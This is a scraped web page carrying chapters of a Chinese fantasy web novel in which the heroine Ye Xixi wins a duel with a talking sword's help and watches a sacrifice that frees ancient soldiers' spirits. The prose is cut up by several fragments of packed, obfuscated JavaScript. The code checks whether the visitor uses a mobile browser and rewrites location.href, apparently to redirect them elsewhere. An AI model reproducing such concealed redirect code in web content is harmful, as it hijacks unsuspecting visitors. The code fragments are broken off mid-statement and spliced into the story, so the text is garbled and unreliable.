d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360322|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被这么一折腾,五脏六腑都要碎了。她发现翊夫人真是一点不留情,这一招用的是全力。 如果是在现实世界里,她肯定得脑震荡了。但是现在,她这具神仙的身体真的很抗造,不过片刻的头晕眼花,她很快恢复了清明。 翊夫人把她打倒后没有乘胜追击,她停在原地,等叶熙熙爬起来,继续下一回合。 叶熙熙吐出一口气,好吧,如果必须要把这一架打完,那她豁出去了! 她起身的那一刻,翊夫人忽然闪现到她面前,用枪杆那头将她戳到地上。 “怎么,”她居高临下,冷眼看着叶熙熙在地上蜷缩起双腿,痛得双眼紧闭,“现在还打算对我隐藏实力吗,神仙?” “我去你爹的!”叶熙熙吼道,“我是个屁的神仙,你见过我这么窝囊的神仙吗?” 翊夫人拧起眉头:“那你是谁?” 叶熙熙差点脱口而出我是你爹,但是她忍了。 她也不知道自己哪儿来的勇气,等身上的疼痛感消却,再次从地上爬起来,然后一只手挡在自己身前:“等等,你先别过来。” 翊夫人不知她意欲何为。 “给我一把武器,”她指指翊夫人手里泛着蓝光的长枪,“你有武器,我没有,太不公平了。” 翊夫人:“……” 两人对峙着,叶熙熙想起了无数中二小说中主角召唤武器的方式,她脑袋一热,朝天举起右手:“剑来!” 如果她是主角的话,此时应该有奇迹发生。 一把微微带锈的剑落到她脚边。 如果那剑不是小悲丢过来的,叶熙熙差点以为老天显灵了。 她叹了一口气,拾起剑,也不管拿剑的姿势是否标准,她越过剑尖,看向翊夫人:“来吧!” 说完,之间翊夫人身形一闪,叶熙熙只觉得眼花,索性横刀一砍。 她挥剑之时,空气中传来一声很轻的笑,仿佛是她的错觉。 接下来的一幕超出她的预料。 剑光所至,激起一片风沙,还没意识到发生了什么,手中的剑微微颤动,仿佛有了自己的意识,带着叶熙熙朝翊夫人冲过去。 叶熙熙难免惊慌,但她发现自己的手牢牢粘在了剑柄上,无论如何也挣脱不掉。 她索性接受了这个现实。她心里有某种直觉,这把剑,或许是来帮她的。 剑气逼人,翊夫人不得不用长枪挡住剑芒。 这还是她们交手以来,翊夫人第一次反攻为守。 叶熙熙还没来得及高兴,这股控制她双手的力量忽然消失,锈剑像是用完了全部力气,当啷一声掉在地上。 叶熙熙:“……” 不对,她刚刚好像找到感觉了,这柄剑有力量可以为她所用,但是想要释放这种力量,需要找到“钥匙”。 她刚刚是怎么做的来着? “丢下武器,便是逃兵。”翊夫人不管她在发什么呆,一枪朝她扫过来,“逃兵,按律当斩!” 叶熙熙捡起剑,带着决然的信念,抛去对失败和疼痛的恐惧,现在,她只想用这把剑挡住翊夫人的攻击。 枪剑相击,一瞬间爆发出强大的力量,叶熙熙差点被风沙迷了眼。 但她知道,她成功了。 28. 名释阳 被击退的那一刻,翊夫人看向她的眼神凛冽三分。 叶熙熙保持之前拿剑的姿势,聚精会神地盯着她接下来的一举一动,舔了舔嘴唇。 只要她保持着必胜信念和不顾一切的斗志,就能唤醒这把剑的力量。 翊夫人收回长枪,身上蓝色的光渐渐加深了。 “既然你不再保留实力,那我也该正视对手。”她说完,枪尖入沙三分,叶熙熙能感觉到一股从未有过的强大力量,从地下蜿蜒过来,随风冲上她的天灵盖。 她心里有些发怵,但她不会退缩。 这时她又听到空中传来一声笑,是一个男音,同先前那声轻笑如出一辙,这次她没听错。 “你不怕吗?” 叶熙熙眨眨眼,而后望向手中的剑。 这声音是从剑里传出来的,按照她所熟知的套路,主角得到了一把举世无双的兵器,而这把兵器里往往还宿着一个毁天灭地的灵。 她小声问:“如果我说我怕,你能替我打败她?” 剑:“显然不能。” “那你废什么话。”叶熙熙无语,“接下来我可就靠你来挡住她了,你一定要撑住。” 剑轻叹一声:“你也太谨慎了,接下来按我说的做,你可以在三招之内击败她。” 他夸下海口,叶熙熙犹疑:“我能相信你吗?” “试试吧,”剑笑道,“反正对我没害处,但是你可能会很惨。” “不逗你了。”他似是感觉到叶熙熙的怒火已经在上涌,作为一个年纪可以算作祖宗辈的人来说,捉弄小姑娘太没风度了,“接下来,她先会用枪横扫,这时你要跳起来,然后横剑对准她的额头。” “跳?”叶熙熙联想到自己上学时悲催的体侧成绩,“……我可能跳不太高。” “没关系,”剑安抚她,“有我在。” 叶熙熙把他的话记在心里,反复想象了一下该是怎样一副画面,然后点点头:“我准备好了。” 她话未说完,翊夫人便攻了过来。 如剑灵所言,她的第一个动作便是低下身体,拖着枪扫向她的小腿。 叶熙熙心脏快要跳出胸膛,然后瞅准时机向上一跃。 “横剑,攻击她的脑袋。”剑灵适时提醒。 叶熙熙依言照做。剑刃的霜色映在翊夫人眼底,她抬手,枪杆挡住叶熙熙的攻击。 然而莹蓝色的枪杆虚影触到剑芒的一刻,被硬生生折断成两半。 爆发出来的巨大斥力,让双方各后退了十几步。 “稳住。”剑灵说道,“接下来她只剩半截枪,你靠近她的时候,我会虚晃一下,你趁机绕到她背后,刺向她的脖子,要快。” 叶熙熙点点头。 她做好准备,而后提着剑,来到翊夫人面前。 对方没有因为长剑折断而改色,直接扔掉了枪杆的那一段,枪尖朝着她的脸:“进入状态了,不错。” 叶熙熙直接举剑朝她刺去,没有丝毫技巧。翊夫人正欲一枪挑飞她的剑,却在中途闭上了眼睛。 叶熙熙一个箭步冲到她身后,然后刺向她的后颈。 翊夫人回了神,察觉到身后迫近的危险,俯身躲开她的攻击。 剑灵出声:“后退,不要让她碰到你。” 果然,在叶熙熙向后迈出第二步的时候,翊夫人的枪已经朝她这个方向飞了出来。 “现在冲上去,”剑灵似乎也感受到千钧一发的紧迫,他语速飞快,“对准她刺下去,不要想别的。” 叶熙熙怎么可能不想别的,翊夫人掷出来的枪朝她迎面而来,如果她不躲开,下一秒就会被枪尖钉在地上,毋庸置疑。 她咬咬牙,抬起剑,朝枪尖,和枪尖后面的翊夫人冲了过去。 一瞬间,仿佛开了十倍速,一眨眼她就来到了翊夫人面前,而剑尖也没入了她模糊透明的胸口。 翊夫人站在原地,望向她的目光柔和了些:“你赢了,我会履行我的诺言。” 叶熙熙没有感受到半分欣喜,相反,当一滴汗珠流进眼睛里,她才意识到自己出了满头冷汗。 现在手都是颤抖的。 她回过头,不远处,翊夫人掷出来的枪插在黄沙中,事实上,她射偏了,叶熙熙和枪尖擦肩而过,当时她耳朵上传来一阵凉意。 “如何,我没有骗你吧?” 剑灵含着笑意。 叶熙熙收回剑,扫过剑身,并未看出什么特殊之处:“你是谁?” “你是问我,还是问剑?”那声音问,“如果是剑的话,它的名字是释阳。” 叶熙熙听出了他的言外之意:“你不是剑灵?” “我是人,不是灵。”他顿了顿,“但我只是一缕残念,真正的我,恐怕已经死了上千年。” 他又道:“但是现在,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“献祭这些生魂,也不是为了解开封印,而是为了取代,这封印之下镇压着的东西。” 封印之下,除了灾殃,还有什么? 小悲神神秘秘:“一会儿你就知道了。” 29. 望归乡 叶熙熙找到阿依的时候,她已经倒在地上,不省人事。 难道小悲已经剥了她的生魂吗? 不对,如果第二朵生魂得手,她这边的系统应该会响起提示音,更新支线任务进度。 叶熙熙心中五味杂陈,她再清楚不过,要完成女二支线任务,解锁女二的隐藏剧情,便必须帮助她得到阿依的生魂。 起初剥孟昶生魂时,她尚能告诉自己,孟昶动恶念在先,临死还想拉兰姬垫背;况且是他自愿以生魂为代价,向小悲许愿,所以他死得不冤,叶熙熙对他没有多少同情。 但是如今眼看阿依就要迎来相同的结局,叶熙熙却觉得无法接受。 阿依因为魂魄不全,不复翊夫人时的聪慧果决,她向小悲许愿时,真的明白失去生魂意味着什么吗?没有生魂,人就无法转世投胎,一旦生魂被毁,下场便是魂飞魄散。 在叶熙熙心里,翊夫人生前保家卫国,死后镇守封印数百年,是可敬之人,这个结局对她来说太不公平了。 她也不知道自己是怎么了,明明一直坚定地把身边所有人看作书中的纸片人,把自己摆在闯关者或者看客的位置,但随着她目睹越来越多的悲欢离合,参与了越来越多人的命运后,她发现自己似乎很难再用一双冷漠的眼睛来看待这里的一切了。 她想到这里,忽然觉得这种左右互搏的情形似曾相识。 对了,就在完成男主支线任务的前夕,在系统提醒她一定要恪守自己的疯恶人设时,她没有选择把男主的记忆私自截下,而是立刻物归原主。 当时她就已经ooc了。 后来系统再也没有出现,而她在发现系统可以随意篡改数据后,对系统不再信任,想要另寻破局之法。 在女二支线任务过程中,她早就淡忘了自己还有人设这回事。 有的时候女二小悲的疯恶程度甚至都在她之上。 但她依然决定把支线任务走完,她想接近小悲,揭开她的过去,找出她跟女主结仇的缘由。 这也是小悲暴露系统身份后,为她指出来的路——完成祭祀之后,她就能看到隐藏剧情了。 想到这一点,叶熙熙觉得自己之前的矛盾心理无解。她对自己的处境毫无头绪,唯一的希望就是解锁剧情,让自己获得更多信息。 而要解锁剧情,就意味着阿依必须死。 叶熙熙也有点迷茫了。 “怎么,舍不得她?” 小悲来到她们二人身边,眸子晶亮而眼底幽微。 “自从你说你是系统之后,我们还没有好好谈过。”叶熙熙不着痕迹地走到阿依身前,挡住了小悲。 “谈什么?” “你知道我的名字,你应该也知道我是穿进书里的人,现在我跟原来的系统失联了,你知道我该怎么回到现实世界吗?” “失联?”小悲又重复了一遍她的话,笑道,“看来它不是一个负责任的系统。” 叶熙熙静静地看着她顾左右而言他。 “想回到现实世界,当然要完成任务。”小悲似乎也在思考,但她眼中的兴味暴露了她装模作样的事实,“叶熙熙,你的任务是什么呢?” 叶熙熙把原来系统的话转述出来:“纠正女主人设,做疯批恶女,而且不能让世界毁灭。” 不料小悲的下一句话却是:“看来你每次的任务都不一样。” “每次?”叶熙熙蹙眉,她一共就经历过两个周目,但任务从来都只有这一个,哪里来的每次? “你似乎忘记了一些事情。”小悲胜券在握,两人的信息差注定了她在上位,手握掌控权,“帮我完成祭祀吧,之后我会告诉你,你前两次来到这本书里都做了什么。” 她的目光落到阿依身上:“你上一次可没有这么怜爱她,果然,人都是会变的。” 叶熙熙盯着她:“你从一开始就在演戏,和枢明做交易的时候,把我埋到土里验证我身份的时候,你什么都知道,但为什么现在才说?” “因为我想帮你。”小悲敛去笑意,“我不想当谜语人,但是,为了让你这次能够真正完成任务,永远不要回来,我现在只能跟你透露这么多。” “你独立的意志,你凭心做出的决定,才是解题的关键。” 她和叶熙熙擦肩而过,俯身注视着阿依,但话说给身后的人听:“我要取最后一朵生魂了。” “我知道你心中不忍,但如果我告诉你,她已经在这个地方死过成千上万次,而我也剥了她成千上万次,你会不会变得和我一样麻木?” 叶熙熙难以置信地看着她。 方才翊夫人的残魂回到阿依的躯体中,灵魂弥合自愈的痛苦让她不堪重负,以致晕倒。 现在,她的灵魂恢复完整。小悲也得到了自己想要的东西。 【女二支线任务完成度60%】 “要开始了,快一点!” 身后传来人群的喧闹声,叶熙熙回过头,发现沙漠之中不知何时闯入了一群来客。 他们的衣着,让她想起那个虚无缥缈的梦中,在祭祀下翘首的民众。 他们来自碧落之墟。 男女老少,从四面八方汇集于此,与叶熙熙擦肩而过。人们围成一个圆圈,中间空出来的地方,似乎就是他们想象中的祭坛。 叶熙熙在人群中踮起脚尖,寻找小悲的踪影。 骨铃叮叮当当的声音在耳畔响起,人们让出一条路。 “少祭司大人来了。” 眼前的景象,和她梦中的幻影重叠起来。 周围的人们渐渐沉寂下来,摒弃凝神,注视着白色的身影走到中央。黄沙与碧空一线,而她是从天上落下的云。 叶熙熙正盯着前方,忽然注意到身边的人,他耳上戴着苍玉玦,手握一把骨笛。 他同她一起隐匿在人群中,看到她投来的惊异目光,只是温柔地笑,比了一个“嘘”的手势。 而后将骨笛放在唇边,乐声流泻开来。 叶熙熙怔怔地看着他。 而人群中央的少祭司听见了乐声,却无意探寻它的来处。她闭上眼睛,唇边含笑。足尖抬起时,带起细微的黄沙。 她始终闭着眼睛,不再仰头向天,也不曾去看围在她身边的面孔。 一个旋身之后,被细沙压弯的腰肢抬起,在她纷飞的衣袖间,叶熙熙看到了荧蓝色的光点。 蓝光在她脚下温吞流转,凝成古老的铭文。 封印显形了。 随着大地的震颤,铭文浮在空中,抖落下沙雨。 封印下的东西终于暴露在众人的视野中。 是虚影,成百上千个,他们跪在黄沙上,一动不动,伸展着臂膀,姿势怪异。 乐声停止了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382373|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些虚影似乎感受到外界的光明,他们睁开眼睛,拖着破破烂烂的身体,或走,或爬,艰难地挪到封印之外。 就在叶熙熙以为他们要离开时,最先来到封印边缘的几个人却回过头去,望着封印中不存在的东西,发出模糊的号召声。 而后挣扎着,坚定地奔回他先前所在的位置,而后跪下,伸开双臂。蓝色的荧光在空中变得微弱,又重归明耀。 其他虚影亦是如此,他们获得了自由,但他们心中仿佛有比自由更重要的事,所以他们在离开封印的最后一步,又折返回去。 封印外,参与祭祀地众人静静地注视着他们,眼中流下黑红色泪水。 “死去的人,纵使只剩下一缕没有意识的亡魂,也依旧会重复死前的所做的最后一件事。” 小悲走到她身边,静静地注视着封印中离开又折返的虚影。 叶熙熙想起来自己的梦,哑声:“他们牺牲自己,去封印灾殃了。” 一滴泪水从她眼角滑落,同其他人的血泪一起,落入脚下的沙土中。 小悲回望那些死去的战士们,即使虚影模糊了他们的面容,但在她回忆中依旧鲜活清晰。她的声音有些发颤,“他们是英雄啊……怎么能忍心让他们跪在这里,一跪便是上千年?” “将军!” 一个虚影朝她们跑过来,跟随他而来的,还有其他陆续走出执念的虚影,叶熙熙知道,他们是来找自己身边那个人。 那虚影报上自己的名字,而后挺直脊梁,向眼前人道:“我等镇守灾殃至今,未敢忘职守。” 他身后的虚影纷纷道:“我等镇守灾殃至今,未敢忘职守。” 小悲凝视着那些虚影,而后者不曾看她一眼,似乎已经忘却了她是何人。 她微微笑,声音又恢复以往的从容。她说给身边的男子听:“哪怕失去了那么多记忆,他们还是记得你。” 男子的目光落在虚影上,这些都是无数次和他并肩作战的人,他每一个都记得。 他朗声笑道:“碧落的战士们,灾殃已除,该回家了!” “可以为他们指一条回家的路吗?” 叶熙熙发现小悲正看着自己,这句话是对她说的。 她很想帮忙,但她不知道该怎么做。 就在这时,一个久违的声音闯入她的脑海:“可以。” 叶熙熙抬起手,在战士们面前,将万里黄沙变为他们记忆中的部落。 虚影们发出欢笑声,一如每次征讨完灾殃,在回到碧落之墟的路上,他们三五成群,谈论着方才惊险的场面,笑着相互拆台,又或者设想下一次的征讨该如何改进战术。 叶熙熙目送着他们进入幻境,而后消弭在空气中。 最后一刻同他们一起消失的,还有燧乌。 叶熙熙放下手,问脑中那个声音:“你回来了?” 失联许久的系统并未回应她,但叶熙熙能感觉到它在听。 【女二支线任务完成度100%】 【女二隐藏剧情可解锁,是否现在观看?】 叶熙熙没有动作。 她向系统问出了心中的那个疑问。 “是你吗,少觋?” 回答她是一阵眩晕,看来系统已经自动为她选择了观看剧情,它回避了这个问题。 但叶熙熙已经知道答案了。